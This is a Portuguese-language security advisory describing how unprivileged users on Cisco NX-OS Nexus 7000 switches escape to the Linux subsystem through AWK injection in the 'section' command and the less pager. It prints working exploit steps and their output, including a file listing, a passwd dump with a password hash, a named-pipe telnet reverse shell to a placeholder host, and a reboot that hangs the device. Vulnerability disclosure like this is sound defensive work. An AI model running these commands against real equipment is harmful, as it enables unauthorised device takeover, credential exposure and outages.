
Vulnerabilidades de segurança publicadas, pesquisas e informações associadas.
É necessário acesso local. No entanto, contas sem privilégios podem obter acesso ao sistema operacional Linux subjacente, fornecendo efetivamente acesso completo ao dispositivo. Isso pode potencialmente levar a problemas em ambientes onde a equipe de NOC e outros funcionários têm permissão de acesso de baixo nível para o primeiro ponto de contato, etc.
Este problema foi encontrado na plataforma Nexus 7000. Acredita-se que também afete as seguintes plataformas:
O comando section parece ser um script AWK para o qual a string solicitada é passada. No entanto, a entrada não parece ser sanitizada corretamente. Como resultado, o AWK pode ser usado para executar comandos arbitrários no subsistema Linux.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
Isso pode até ser usado para remover todos os arquivos no bootflash e emitir um comando 'reboot' para o sistema. No entanto, reiniciar a partir do subsistema Linux faz com que o dispositivo despeje mensagens no console e trave; em vez de realmente recarregar o dispositivo.
Acredita-se que afete as seguintes versões de software:
Como exemplo:
switch# sh clock | less
Quando o less é exibido, abrimos arquivos pressionando dois-pontos e depois "e" e especificando o caminho para o arquivo.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
No entanto, isso é apenas acesso somente leitura, mais uma vez. MAS, se usarmos a macro de tecla "|" (pipe) e depois "$", podemos executar comandos.
!ls -lah > /bootflash/20110715
Como mostrado abaixo, o arquivo foi criado no boot-flash.
switch# dir
97 Jul 15 12:01:44 2011 20110715
Usando este método, consegui estabelecer um shell remoto no subsistema Linux do NX-OS usando o seguinte:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
Até o comando reboot é aceito como entrada válida. No entanto, em vez de reiniciar o dispositivo, isso faz com que o sistema trave enquanto despeja erros no console.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):